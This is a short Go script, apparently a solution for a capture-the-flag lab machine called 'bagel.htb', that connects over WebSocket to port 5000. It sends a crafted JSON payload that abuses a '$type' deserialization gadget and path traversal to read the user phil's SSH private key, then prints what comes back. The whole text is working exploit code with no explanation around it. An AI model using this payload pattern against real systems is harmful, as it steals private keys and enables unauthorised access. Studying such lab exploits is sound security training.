Read bagel.htb:5000 phil user id_rsa

main.go

package main

import (
	"fmt"
	"log"

	"github.com/gorilla/websocket"
)

func main() {
	url := "ws://bagel.htb:5000"
	conn, _, err := websocket.DefaultDialer.Dial(url, nil)
	if err != nil {
		log.Fatal("websocket dial:", err)
	}
	defer conn.Close()

	payload := []byte(`{
        "RemoveOrder": {
			"$type": "bagel_server.File, bagel",
            "ReadFile": "../../../../../../home/phil/.ssh/id_rsa"
        }
    }`)

	if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
		log.Fatal("write message:", err)
	}

	_, resp, err := conn.ReadMessage()
	if err != nil {
		log.Fatal("read message:", err)
	}

	fmt.Printf("%s", resp)
}